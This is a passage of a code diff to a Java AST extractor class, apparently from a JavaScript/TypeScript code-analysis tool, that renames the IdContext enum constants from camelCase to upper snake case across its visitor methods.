name, key); switch (c.idcontext) { - case varBind: - case varInTypeBind: + case VAR_BIND: + case VAR_IN_TYPE_BIND: addVariableBinding("bind", key, name); break; - case varDecl: + case VAR_DECL: addVariableBinding("decl", key, name); break; - case varAndTypeDecl: + case VAR_AND_TYPE_DECL: addVariableBinding("decl", key, name); addTypeBinding("typedecl", key, name); break; - case typeBind: + case TYPE_BIND: addTypeBinding("typebind", key, name); break; - case typeDecl: + case TYPE_DECL: addTypeBinding("typedecl", key, name); break; - case namespaceBind: + case NAMESPACE_BIND: addNamespaceBinding("namespacebind", key, name); break; - case namespaceDecl: + case NAMESPACE_DECL: addNamespaceBinding("namespacedecl", key, name); break; - case varAndNamespaceDecl: + case VAR_AND_NAMESPACE_DECL: addVariableBinding("decl", key, name); addNamespaceBinding("namespacedecl", key, name); break; - case typeOnlyImport: + case TYPE_ONLY_IMPORT: addTypeBinding("typedecl", key, name); addNamespaceBinding("namespacedecl", key, name); break; - case typeOnlyExport: + case TYPE_ONLY_EXPORT: addTypeBinding("typebind", key, name); addNamespaceBinding("namespacebind", key, name); break; - case varAndTypeAndNamespaceDecl: + case VAR_AND_TYPE_AND_NAMESPACE_DECL: addVariableBinding("decl", key, name); addTypeBinding("typedecl", key, name); addNamespaceBinding("namespacedecl", key, name); break; - case export: - case exportBase: + case EXPORT: + case EXPORT_BASE: // At the time of writing, this kind of export is only allowed at the top-level. boolean resolved = false; - if (c.idcontext != IdContext.exportBase) { + if (c.idcontext != IdContext.EXPORT_BASE) { resolved |= addTypeBinding("typebind", key, name); } resolved |= addNamespaceBinding("namespacebind", key, name); @@ -549,8 +549,8 @@ public class ASTExtractor { addVariableBinding("bind", key, name); } break; - case label: - case typeLabel: + case LABEL: + case TYPE_LABEL: break; } return key; @@ -662,20 +662,20 @@ public class ASTExtractor { // The context can either be typeBind, namespaceBind, or varInTypeBind. IdContext baseIdContext = - c.idcontext == IdContext.varInTypeBind - ? IdContext.varInTypeBind - : IdContext.namespaceBind; + c.idcontext == IdContext.VAR_IN_TYPE_BIND + ? IdContext.VAR_IN_TYPE_BIND + : IdContext.NAMESPACE_BIND; visit(nd.getObject(), key, 0, baseIdContext); // Ensure the property name is not a TypeAccess, since this would create two // TypeAccesses from the same type usage, easily leading to duplicate query // results. The qualified access is the one we prefer to select. - visit(nd.getProperty(), key, 1, IdContext.typeLabel); + visit(nd.getProperty(), key, 1, IdContext.TYPE_LABEL); } else { IdContext baseIdContext = - c.idcontext == IdContext.export ? IdContext.exportBase : IdContext.varBind; + c.idcontext == IdContext.EXPORT ? IdContext.EXPORT_BASE : IdContext.VAR_BIND; visit(nd.getObject(), key, 0, baseIdContext); - visit(nd.getProperty(), key, 1, nd.isComputed() ? IdContext.varBind : IdContext.label); + visit(nd.getProperty(), key, 1, nd.isComputed() ? IdContext.VAR_BIND : IdContext.LABEL); } if (nd.isOptional()) { trapwriter.addTuple("isOptionalChaining", key); @@ -781,7 +781,7 @@ public class ASTExtractor { scopeManager.collectDeclaredNames(nd.getLeft(), isStrict, true, DeclKind.var); scopeManager.enterScope(nd); scopeManager.addNames(lexicals); - visit(nd.getLeft(), key, 0, IdContext.varDecl); + visit(nd.getLeft(), key, 0, IdContext.VAR_DECL); visit(nd.getRight(), key, 1); return key; } @@ -789,7 +789,7 @@ public class ASTExtractor { @Override public Label visit(ComprehensionExpression nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getBlocks(), key, IdContext.varBind, 1); + visitAll(nd.getBlocks(), key, IdContext.VAR_BIND, 1); visit(nd.getFilter(), key, -1); visit(nd.getBody(), key, 0); for (int i = nd.getBlocks().size(); i > 0; --i) scopeManager.leaveScope(); @@ -863,7 +863,7 @@ public class ASTExtractor { scopeManager.enterScope(nd); scopeManager.addNames(lexicals); visitAll(head, key); - visit(body, key, -1, IdContext.varBind); + visit(body, key, -1, IdContext.VAR_BIND); scopeManager.leaveScope(); return key; } @@ -871,9 +871,9 @@ public class ASTExtractor { @Override public Label visit(VariableDeclarator nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getId(), key, 0, IdContext.varDecl); + visit(nd.getId(), key, 0, IdContext.VAR_DECL); visit(nd.getInit(), key, 1); - visit(nd.getTypeAnnotation(), key, 2, IdContext.typeBind); + visit(nd.getTypeAnnotation(), key, 2, IdContext.TYPE_BIND); for (int i = 0; i < DeclarationFlags.numberOfFlags; ++i) { if (DeclarationFlags.hasNthFlag(nd.getFlags(), i)) { trapwriter.addTuple(DeclarationFlags.relationNames.get(i), key); @@ -931,7 +931,7 @@ public class ASTExtractor { // The name of a function declaration binds to the outer scope. if (nd instanceof FunctionDeclaration) { - visit(nd.getId(), key, -1, IdContext.varDecl); + visit(nd.getId(), key, -1, IdContext.VAR_DECL); } DeclaredNames locals = @@ -943,7 +943,7 @@ public class ASTExtractor { // The name of a function expression binds to its own scope. if (nd.getId() != null && nd instanceof AFunctionExpression) { scopeManager.addVariables(nd.getId().getName()); - visit(nd.getId(), key, -1, IdContext.varDecl); + visit(nd.getId(), key, -1, IdContext.VAR_DECL); } for (TypeParameter tp : nd.getTypeParameters()) { @@ -954,7 +954,7 @@ public class ASTExtractor { for (IPattern param : nd.getAllParams()) { scopeManager.addNames( scopeManager.collectDeclaredNames(param, isStrict, false, DeclKind.var)); - Label paramKey = visit(param, key, i, IdContext.varDecl); + Label paramKey = visit(param, key, i, IdContext.VAR_DECL); // Extract optional parameters if (nd.getOptionalParameterIndices().contains(i)) { @@ -971,10 +971,10 @@ public class ASTExtractor { } // add return type at index -3 - visit(nd.getReturnType(), key, -3, IdContext.typeBind); + visit(nd.getReturnType(), key, -3, IdContext.TYPE_BIND); // add 'this' type at index -4 - visit(nd.getThisParameterType(), key, -4, IdContext.typeBind); + visit(nd.getThisParameterType(), key, -4, IdContext.TYPE_BIND); // add parameter stuff at index -5 and down extractParameterDefaultsAndTypes(nd, key, i); @@ -1003,12 +1003,12 @@ public class ASTExtractor { if (nd.hasDefault(j)) this.visit(nd.getDefault(j), key, -(4 * j + 5)); // parameter type annotations are populated at indices -6, -10, ... if (nd.hasParameterType(j)) - this.visit(nd.getParameterType(j), key, -(4 * j + 6), IdContext.typeBind); + this.visit(nd.getParameterType(j), key, -(4 * j + 6), IdContext.TYPE_BIND); } // type parameters are at indices -7, -11, -15, ... - visitAll(nd.getTypeParameters(), key, IdContext.typeDecl, -7, -4); + visitAll(nd.getTypeParameters(), key, IdContext.TYPE_DECL, -7, -4); // parameter decorators are at indices -8, -12, -16, ... - visitAll(nd.getParameterDecorators(), key, IdContext.varBind, -8, -4); + visitAll(nd.getParameterDecorators(), key, IdContext.VAR_BIND, -8, -4); } @Override @@ -1061,14 +1061,14 @@ public class ASTExtractor { */ if (!lexicals.isEmpty()) { VariableDeclaration decl = (VariableDeclaration) nd.getInit(); - Label declkey = visit((Statement) decl, new Context(key, 0, IdContext.varBind)); + Label declkey = visit((Statement) decl, new Context(key, 0, IdContext.VAR_BIND)); int idx = 0; for (VariableDeclarator declarator : decl.getDeclarations()) { Label declaratorKey = - visit((Expression) declarator, new Context(declkey, idx++, IdContext.varBind)); + visit((Expression) declarator, new Context(declkey, idx++, IdContext.VAR_BIND)); // the 'let' bound variable lives in the new scope - visit(declarator.getId(), declaratorKey, 0, IdContext.varDecl); + visit(declarator.getId(), declaratorKey, 0, IdContext.VAR_DECL); // but its initialiser does not scopeManager.leaveScope(); @@ -1110,7 +1110,7 @@ public class ASTExtractor { @Override public Label visit(ArrayExpression nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getElements(), key, IdContext.varBind, 0); + visitAll(nd.getElements(), key, IdContext.VAR_BIND, 0); trapwriter.addTuple("array_size", key, nd.getElements().size()); return key; } @@ -1120,7 +1120,7 @@ public class ASTExtractor { Label key = super.visit(nd, c); visitAll(nd.getElements(), key, c.idcontext, 0); visit(nd.getRest(), key, -1, c.idcontext); - visitAll(nd.getDefaults(), key, IdContext.varBind, -2, -1); + visitAll(nd.getDefaults(), key, IdContext.VAR_BIND, -2, -1); trapwriter.addTuple("array_size", key, nd.getElements().size()); return key; } @@ -1136,7 +1136,7 @@ public class ASTExtractor { @Override public Label visit(ObjectExpression nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getProperties(), key, IdContext.varBind, 0); + visitAll(nd.getProperties(), key, IdContext.VAR_BIND, 0); return key; } @@ -1147,10 +1147,10 @@ public class ASTExtractor { String tostring = lexicalExtractor.mkToString(nd); trapwriter.addTuple("properties", propkey, c.parent, c.childIndex, kind, tostring); locationManager.emitNodeLocation(nd, propkey); - visitAll(nd.getDecorators(), propkey, IdContext.varBind, -1, -1); - visit(nd.getKey(), propkey, 0, nd.isComputed() ? IdContext.varBind : IdContext.label); + visitAll(nd.getDecorators(), propkey, IdContext.VAR_BIND, -1, -1); + visit(nd.getKey(), propkey, 0, nd.isComputed() ? IdContext.VAR_BIND : IdContext.LABEL); Label valueLabel = visit(nd.getValue(), propkey, 1, c.idcontext); - visit(nd.getDefaultValue(), propkey, 2, IdContext.varBind); + visit(nd.getDefaultValue(), propkey, 2, IdContext.VAR_BIND); if (nd.isComputed()) trapwriter.addTuple("is_computed", propkey); if (nd.isMethod()) trapwriter.addTuple("is_method", propkey); @@ -1243,7 +1243,7 @@ public class ASTExtractor { @Override public Label visit(LabeledStatement nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getLabel(), key, 0, IdContext.label); + visit(nd.getLabel(), key, 0, IdContext.LABEL); contextManager.enterLabeledStatement(nd); visit(nd.getBody(), key, 1); contextManager.leaveLabeledStatement(nd); @@ -1285,7 +1285,7 @@ public class ASTExtractor { if (nd.getParam() != null) { scopeManager.addNames( scopeManager.collectDeclaredNames(nd.getParam(), isStrict, false, DeclKind.var)); - visit(nd.getParam(), key, 0, IdContext.varDecl); + visit(nd.getParam(), key, 0, IdContext.VAR_DECL); } visit(nd.getGuard(), key, 2); visit(nd.getBody(), key, 1); @@ -1297,7 +1297,7 @@ public class ASTExtractor { public Label visit(TryStatement nd, Context c) { Label key = super.visit(nd, c); visit(nd.getBlock(), key, 0); - visitAll(nd.getAllHandlers(), key, IdContext.varBind, 1); + visitAll(nd.getAllHandlers(), key, IdContext.VAR_BIND, 1); visit(nd.getFinalizer(), key, -1); return key; } @@ -1305,7 +1305,7 @@ public class ASTExtractor { @Override public Label visit(JumpStatement nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getLabel(), key, 0, IdContext.label); + visit(nd.getLabel(), key, 0, IdContext.LABEL); Label targetKey = trapwriter.localID(contextManager.getTarget(nd)); trapwriter.addTuple("jump_targets", key, targetKey); return key; @@ -1314,28 +1314,28 @@ public class ASTExtractor { @Override public Label visit(ReturnStatement nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getArgument(), key, 0, IdContext.varBind); + visit(nd.getArgument(), key, 0, IdContext.VAR_BIND); return key; } @Override public Label visit(ThrowStatement nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getArgument(), key, 0, IdContext.varBind); + visit(nd.getArgument(), key, 0, IdContext.VAR_BIND); return key; } @Override public Label visit(SequenceExpression nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getExpressions(), key, IdContext.varBind, 0); + visitAll(nd.getExpressions(), key, IdContext.VAR_BIND, 0); return key; } @Override public Label visit(ParenthesizedExpression nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getExpression(), key, 0, IdContext.varBind); + visit(nd.getExpression(), key, 0, IdContext.VAR_BIND); return key; } @@ -1344,21 +1344,21 @@ public class ASTExtractor { Label key = super.visit(nd, c); visit(nd.getTag(), key, 0); visit(nd.getQuasi(), key, 1); - visitAll(nd.getTypeArguments(), key, IdContext.typeBind, 2); + visitAll(nd.getTypeArguments(), key, IdContext.TYPE_BIND, 2); return key; } @Override public Label visit(TemplateLiteral nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getChildren(), key, IdContext.varBind, 0); + visitAll(nd.getChildren(), key, IdContext.VAR_BIND, 0); return key; } @Override public Label visit(TemplateLiteralTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getChildren(), key, IdContext.typeBind, 0); + visitAll(nd.getChildren(), key, IdContext.TYPE_BIND, 0); return key; } @@ -1393,18 +1393,18 @@ public class ASTExtractor { @Override public Label visit(TypeParameter nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getId(), key, 0, IdContext.typeDecl); - visit(nd.getBound(), key, 1, IdContext.typeBind); - visit(nd.getDefault(), key, 2, IdContext.typeBind); + visit(nd.getId(), key, 0, IdContext.TYPE_DECL); + visit(nd.getBound(), key, 1, IdContext.TYPE_BIND); + visit(nd.getDefault(), key, 2, IdContext.TYPE_BIND); return key; } private Label visit(AClass ac, Label key, Node scopeNode, boolean isClassExpression) { - visitAll(ac.getDecorators(), key, IdContext.varBind, -2, -3); + visitAll(ac.getDecorators(), key, IdContext.VAR_BIND, -2, -3); // The identifier of a class declaration is visited before entering the // class scope, since it must resolve to the enclosing block, not its own scope. if (!isClassExpression) { - visit(ac.getId(), key, 0, IdContext.varAndTypeDecl); + visit(ac.getId(), key, 0, IdContext.VAR_AND_TYPE_DECL); } if (ac.hasId() || ac.hasTypeParameters()) { scopeManager.enterScope(scopeNode); @@ -1420,10 +1420,10 @@ public class ASTExtractor { } } if (isClassExpression) { - visit(ac.getId(), key, 0, IdContext.varAndTypeDecl); + visit(ac.getId(), key, 0, IdContext.VAR_AND_TYPE_DECL); } - visitAll(ac.getTypeParameters(), key, IdContext.typeDecl, -3, -3); - visitAll(ac.getSuperInterfaces(), key, IdContext.typeBind, -1, -3); + visitAll(ac.getTypeParameters(), key, IdContext.TYPE_DECL, -3, -3); + visitAll(ac.getSuperInterfaces(), key, IdContext.TYPE_BIND, -1, -3); visit(ac.getSuperClass(), key, 1); MethodDefinition constructor = ac.getBody().getConstructor(); if (constructor == null) { @@ -1450,7 +1450,7 @@ public class ASTExtractor { Label lbl = super.visit(nd, c); emitNodeSymbol(nd, lbl); IdContext context = - nd.isInstantiated() ? IdContext.varAndNamespaceDecl : IdContext.namespaceDecl; + nd.isInstantiated() ? IdContext.VAR_AND_NAMESPACE_DECL : IdContext.NAMESPACE_DECL; visit(nd.getName(), lbl, -1, context); if (nd.hasDeclareKeyword()) { trapwriter.addTuple("has_declare_keyword", lbl); @@ -1596,7 +1596,7 @@ public class ASTExtractor { String tostring = lexicalExtractor.mkToString(nd); trapwriter.addTuple("properties", methkey, c.parent, c.childIndex, kind, tostring); locationManager.emitNodeLocation(nd, methkey); - visitAll(nd.getDecorators(), methkey, IdContext.varBind, -1, -1); + visitAll(nd.getDecorators(), methkey, IdContext.VAR_BIND, -1, -1); // the name and initialiser expression of an instance field is evaluated as part of // the constructor, so we adjust our syntactic context to reflect this @@ -1607,7 +1607,7 @@ public class ASTExtractor { constructorKey = trapwriter.localID(ctor.getValue()); contextManager.enterContainer(constructorKey); } - visit(nd.getKey(), methkey, 0, nd.isComputed() ? IdContext.varBind : IdContext.label); + visit(nd.getKey(), methkey, 0, nd.isComputed() ? IdContext.VAR_BIND : IdContext.LABEL); visit(nd.getValue(), methkey, 1, c.idcontext); if (ctor != null) contextManager.leaveContainer(); @@ -1626,7 +1626,7 @@ public class ASTExtractor { trapwriter.addTuple( "parameter_fields", methkey, constructorKey, field.getFieldParameterIndex()); } else { - visit(field.getTypeAnnotation(), methkey, 2, IdContext.typeBind); + visit(field.getTypeAnnotation(), methkey, 2, IdContext.TYPE_BIND); } } @@ -1652,7 +1652,7 @@ public class ASTExtractor { @Override public Label visit(ExportDefaultDeclaration nd, Context c) { Label lbl = super.visit(nd, c); - visit(nd.getDeclaration(), lbl, 0, IdContext.export); + visit(nd.getDeclaration(), lbl, 0, IdContext.EXPORT); return lbl; } @@ -1662,9 +1662,9 @@ public class ASTExtractor { visit(nd.getDeclaration(), lbl, -1); visit(nd.getSource(), lbl, -2); IdContext childContext = - nd.hasSource() ? IdContext.label : - nd.hasTypeKeyword() ? IdContext.typeOnlyExport : - IdContext.export; + nd.hasSource() ? IdContext.LABEL : + nd.hasTypeKeyword() ? IdContext.TYPE_ONLY_EXPORT : + IdContext.EXPORT; visitAll(nd.getSpecifiers(), lbl, childContext, 0); if (nd.hasTypeKeyword()) { trapwriter.addTuple("has_type_keyword", lbl); @@ -1676,7 +1676,7 @@ public class ASTExtractor { public Label visit(ExportSpecifier nd, Context c) { Label lbl = super.visit(nd, c); visit(nd.getLocal(), lbl, 0, c.idcontext); - visit(nd.getExported(), lbl, 1, IdContext.label); + visit(nd.getExported(), lbl, 1, IdContext.LABEL); return lbl; } @@ -1684,7 +1684,7 @@ public class ASTExtractor { public Label visit(ImportDeclaration nd, Context c) { Label lbl = super.visit(nd, c); visit(nd.getSource(), lbl, -1); - IdContext childContext = nd.hasTypeKeyword() ? IdContext.typeOnlyImport : IdContext.varAndTypeAndNamespaceDecl; + IdContext childContext = nd.hasTypeKeyword() ? IdContext.TYPE_ONLY_IMPORT : IdContext.VAR_AND_TYPE_AND_NAMESPACE_DECL; visitAll(nd.getSpecifiers(), lbl, childContext, 0); emitNodeSymbol(nd, lbl); if (nd.hasTypeKeyword()) { @@ -1696,7 +1696,7 @@ public class ASTExtractor { @Override public Label visit(ImportSpecifier nd, Context c) { Label lbl = super.visit(nd, c); - visit(nd.getImported(), lbl, 0, IdContext.label); + visit(nd.getImported(), lbl, 0, IdContext.LABEL); visit(nd.getLocal(), lbl, 1, c.idcontext); return lbl; } @@ -1716,9 +1716,9 @@ public class ASTExtractor { * A spread attribute is represented as an attribute without * a name, whose value is a spread element. */ - visit(name, lbl, -1, isTagName(name) ? IdContext.label : IdContext.varBind); - visitAll(open.getAttributes(), lbl, IdContext.varBind, 0, 1); - visitAll(nd.getChildren(), lbl, IdContext.varBind, -2, -1); + visit(name, lbl, -1, isTagName(name) ? IdContext.LABEL : IdContext.VAR_BIND); + visitAll(open.getAttributes(), lbl, IdContext.VAR_BIND, 0, 1); + visitAll(nd.getChildren(), lbl, IdContext.VAR_BIND, -2, -1); return lbl; } @@ -1748,15 +1748,15 @@ public class ASTExtractor { public Label visit(JSXMemberExpression nd, Context c) { Label key = super.visit(nd, c); visit(nd.getObject(), key, 0); - visit(nd.getName(), key, 1, IdContext.label); + visit(nd.getName(), key, 1, IdContext.LABEL); return key; } @Override public Label visit(JSXNamespacedName nd, Context c) { Label lbl = super.visit(nd, c); - visit(nd.getNamespace(), lbl, 0, IdContext.label); - visit(nd.getName(), lbl, 1, IdContext.label); + visit(nd.getNamespace(), lbl, 0, IdContext.LABEL); + visit(nd.getName(), lbl, 1, IdContext.LABEL); return lbl; } @@ -1766,7 +1766,7 @@ public class ASTExtractor { String tostring = lexicalExtractor.mkToString(nd); trapwriter.addTuple("properties", propkey, c.parent, c.childIndex, 3, tostring); locationManager.emitNodeLocation(nd, propkey); - visit(nd.getName(), propkey, 0, IdContext.label); + visit(nd.getName(), propkey, 0, IdContext.LABEL); visit(nd.getValue(), propkey, 1, c.idcontext); return propkey; } @@ -1789,7 +1789,7 @@ public class ASTExtractor { // now populate the spread expression, stripping off the surrounding // braces for its tostring tostring = tostring.substring(1, tostring.length() - 1).trim(); - Label valkey = visit(nd, 66, tostring, new Context(propkey, 1, IdContext.varBind)); + Label valkey = visit(nd, 66, tostring, new Context(propkey, 1, IdContext.VAR_BIND)); visit(nd.getArgument(), valkey, 0); return propkey; } @@ -1829,15 +1829,15 @@ public class ASTExtractor { @Override public Label visit(ImportWholeDeclaration nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getLhs(), key, 0, IdContext.varAndTypeAndNamespaceDecl); - visit(nd.getRhs(), key, 1, IdContext.export); + visit(nd.getLhs(), key, 0, IdContext.VAR_AND_TYPE_AND_NAMESPACE_DECL); + visit(nd.getRhs(), key, 1, IdContext.EXPORT); return key; } @Override public Label visit(ExportWholeDeclaration nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getRhs(), key, 0, IdContext.export); + visit(nd.getRhs(), key, 0, IdContext.EXPORT); return key; } @@ -1865,10 +1865,10 @@ public class ASTExtractor { scopeManager.addTypeName(tp.getId().getName()); } } - visitAll(nd.getTypeParameters(), key, IdContext.typeBind, -2, -2); - visitAll(nd.getSuperInterfaces(), key, IdContext.typeBind, -1, -2); - visit(nd.getName(), key, 0, IdContext.typeDecl); - visitAll(nd.getBody(), key, IdContext.label, 2); + visitAll(nd.getTypeParameters(), key, IdContext.TYPE_BIND, -2, -2); + visitAll(nd.getSuperInterfaces(), key, IdContext.TYPE_BIND, -1, -2); + visit(nd.getName(), key, 0, IdContext.TYPE_DECL); + visitAll(nd.getBody(), key, IdContext.LABEL, 2); if (nd.hasTypeParameters()) { scopeManager.leaveScope(); } @@ -1886,36 +1886,36 @@ public class ASTExtractor { @Override public Label visit(ArrayTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getElementType(), key, 0, IdContext.typeBind); + visit(nd.getElementType(), key, 0, IdContext.TYPE_BIND); return key; } @Override public Label visit(UnionTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getElementTypes(), key, IdContext.typeBind, 0); + visitAll(nd.getElementTypes(), key, IdContext.TYPE_BIND, 0); return key; } @Override public Label visit(IndexedAccessTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getObjectType(), key, 0, IdContext.typeBind); - visit(nd.getIndexType(), key, 1, IdContext.typeBind); + visit(nd.getObjectType(), key, 0, IdContext.TYPE_BIND); + visit(nd.getIndexType(), key, 1, IdContext.TYPE_BIND); return key; } @Override public Label visit(IntersectionTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getElementTypes(), key, IdContext.typeBind, 0); + visitAll(nd.getElementTypes(), key, IdContext.TYPE_BIND, 0); return key; } @Override public Label visit(ParenthesizedTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getElementType(), key, 0, IdContext.typeBind); + visit(nd.getElementType(), key, 0, IdContext.TYPE_BIND); return key; } @@ -1924,39 +1924,39 @@ public class ASTExtractor { Label key = super.visit(nd, c); if (nd.getElementNames() != null) { // Element names are index -1, -2, -3... - visitAll(nd.getElementNames(), key, IdContext.typeLabel, -1, -1); + visitAll(nd.getElementNames(), key, IdContext.TYPE_LABEL, -1, -1); } - visitAll(nd.getElementTypes(), key, IdContext.typeBind, 0); + visitAll(nd.getElementTypes(), key, IdContext.TYPE_BIND, 0); return key; } @Override public Label visit(UnaryTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getElementType(), key, 0, IdContext.typeBind); + visit(nd.getElementType(), key, 0, IdContext.TYPE_BIND); return key; } @Override public Label visit(GenericTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getTypeName(), key, -1, IdContext.typeBind); - visitAll(nd.getTypeArguments(), key, IdContext.typeBind, 0); + visit(nd.getTypeName(), key, -1, IdContext.TYPE_BIND); + visitAll(nd.getTypeArguments(), key, IdContext.TYPE_BIND, 0); return key; } @Override public Label visit(TypeofTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getExpression(), key, 0, IdContext.varInTypeBind); + visit(nd.getExpression(), key, 0, IdContext.VAR_IN_TYPE_BIND); return key; } @Override public Label visit(PredicateTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getExpression(), key, 0, IdContext.varInTypeBind); - visit(nd.getTypeExpr(), key, 1, IdContext.typeBind); + visit(nd.getExpression(), key, 0, IdContext.VAR_IN_TYPE_BIND); + visit(nd.getTypeExpr(), key, 1, IdContext.TYPE_BIND); if (nd.hasAssertsKeyword()) { trapwriter.addTuple("has_asserts_keyword", key); } @@ -1973,8 +1973,8 @@ public class ASTExtractor { @Override public Label visit(ExpressionWithTypeArguments nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getExpression(), key, -1, IdContext.varBind); - visitAll(nd.getTypeArguments(), key, IdContext.typeBind, 0); + visit(nd.getExpression(), key, -1, IdContext.VAR_BIND); + visitAll(nd.getTypeArguments(), key, IdContext.TYPE_BIND, 0); return key; } @@ -1989,7 +1989,7 @@ public class ASTExtractor { public Label visit(TypeAssertion nd, Context c) { Label key = super.visit(nd, c); visit(nd.getExpression(), key, 0); - visit(nd.getTypeAnnotation(), key, 1, IdContext.typeBind); + visit(nd.getTypeAnnotation(), key, 1, IdContext.TYPE_BIND); return key; } @@ -1998,8 +1998,8 @@ public class ASTExtractor { Label key = super.visit(nd, c); scopeManager.enterScope(nd); scopeManager.addTypeName(nd.getTypeParameter().getId().getName()); - visit(nd.getTypeParameter(), key, 0, IdContext.typeDecl); - visit(nd.getElementType(), key, 1, IdContext.typeBind); + visit(nd.getTypeParameter(), key, 0, IdContext.TYPE_DECL); + visit(nd.getElementType(), key, 1, IdContext.TYPE_BIND); scopeManager.leaveScope(); return key; } @@ -2007,15 +2007,15 @@ public class ASTExtractor { @Override public Label visit(TypeAliasDeclaration nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getId(), key, 0, IdContext.typeDecl); + visit(nd.getId(), key, 0, IdContext.TYPE_DECL); if (nd.hasTypeParameters()) { scopeManager.enterScope(nd); for (TypeParameter tp : nd.getTypeParameters()) { scopeManager.addTypeName(tp.getId().getName()); } } - visitAll(nd.getTypeParameters(), key, IdContext.typeDecl, 2, 1); - visit(nd.getDefinition(), key, 1, IdContext.typeBind); + visitAll(nd.getTypeParameters(), key, IdContext.TYPE_DECL, 2, 1); + visit(nd.getDefinition(), key, 1, IdContext.TYPE_BIND); if (nd.hasTypeParameters()) { scopeManager.leaveScope(); } @@ -2026,14 +2026,14 @@ public class ASTExtractor { @Override public Label visit(EnumDeclaration nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getId(), key, 0, IdContext.varAndTypeAndNamespaceDecl); - visitAll(nd.getDecorators(), key, IdContext.varBind, -1, -1); + visit(nd.getId(), key, 0, IdContext.VAR_AND_TYPE_AND_NAMESPACE_DECL); + visitAll(nd.getDecorators(), key, IdContext.VAR_BIND, -1, -1); scopeManager.enterScope(nd); for (EnumMember member : nd.getMembers()) { scopeManager.addVariables(member.getId().getName()); scopeManager.addTypeName(member.getId().getName()); } - visitAll(nd.getMembers(), key, IdContext.varAndTypeDecl, 1, 1); + visitAll(nd.getMembers(), key, IdContext.VAR_AND_TYPE_DECL, 1, 1); scopeManager.leaveScope(); if (nd.isConst()) { trapwriter.addTuple("is_const_enum", key); @@ -2051,8 +2051,8 @@ public class ASTExtractor { String tostring = lexicalExtractor.mkToString(nd); trapwriter.addTuple("properties", key, c.parent, c.childIndex, 7, tostring); locationManager.emitNodeLocation(nd, key); - visit(nd.getId(), key, 0, IdContext.varAndTypeDecl); - visit(nd.getInitializer(), key, 1, IdContext.varBind); + visit(nd.getId(), key, 0, IdContext.VAR_AND_TYPE_DECL); + visit(nd.getInitializer(), key, 1, IdContext.VAR_BIND); emitNodeSymbol(nd, key); return key; } @@ -2061,7 +2061,7 @@ public class ASTExtractor { public Label visit(ExternalModuleDeclaration nd, Context c) { Label key = super.visit(nd, c); trapwriter.addTuple("has_declare_keyword", key); - visit(nd.getName(), key, -1, IdContext.label); + visit(nd.getName(), key, -1, IdContext.LABEL); DeclaredNames hoistedVars = scopeManager.collectDeclaredNames(nd.getBody(), isStrict, false, DeclKind.none); DeclaredNames lexicalVars = @@ -2079,14 +2079,14 @@ public class ASTExtractor { @Override public Label visit(ExportAsNamespaceDeclaration nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getId(), key, 0, IdContext.label); + visit(nd.getId(), key, 0, IdContext.LABEL); return key; } @Override public Label visit(DecoratorList nd, Context c) { Label key = super.visit(nd, c); - visitAll(nd.getDecorators(), key, IdContext.varBind, 0); + visitAll(nd.getDecorators(), key, IdContext.VAR_BIND, 0); return key; } @@ -2130,53 +2130,53 @@ public class ASTExtractor { @Override public Label visit(ConditionalTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getCheckType(), key, 0, IdContext.typeBind); + visit(nd.getCheckType(), key, 0, IdContext.TYPE_BIND); Set<String> boundTypes = scopeManager.collectDeclaredInferTypes(nd.getExtendsType()); if (!boundTypes.isEmpty()) { scopeManager.enterScope(nd); scopeManager.addTypeNames(boundTypes); } - visit(nd.getExtendsType(), key, 1, IdContext.typeBind); - visit(nd.getTrueType(), key, 2, IdContext.typeBind); + visit(nd.getExtendsType(), key, 1, IdContext.TYPE_BIND); + visit(nd.getTrueType(), key, 2, IdContext.TYPE_BIND); if (!boundTypes.isEmpty()) { scopeManager.leaveScope(); } - visit(nd.getFalseType(), key, 3, IdContext.typeBind); + visit(nd.getFalseType(), key, 3, IdContext.TYPE_BIND); return key; } @Override public Label visit(InferTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getTypeParameter(), key, 0, IdContext.typeDecl); + visit(nd.getTypeParameter(), key, 0, IdContext.TYPE_DECL); return key; } @Override public Label visit(ImportTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getPath(), key, 0, IdContext.typeBind); + visit(nd.getPath(), key, 0, IdContext.TYPE_BIND); return key; } @Override public Label visit(OptionalTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getElementType(), key, 0, IdContext.typeBind); + visit(nd.getElementType(), key, 0, IdContext.TYPE_BIND); return key; } @Override public Label visit(RestTypeExpr nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getArrayType(), key, 0, IdContext.typeBind); + visit(nd.getArrayType(), key, 0, IdContext.TYPE_BIND); return key; } @Override public Label visit(XMLAttributeSelector nd, Context c) { Label key = super.visit(nd, c); - visit(nd.getAttribute(), key, 0, IdContext.label); + visit(nd.getAttribute(), key, 0, IdContext.LABEL); return key; } @@ -2192,7 +2192,7 @@ public class ASTExtractor { public Label 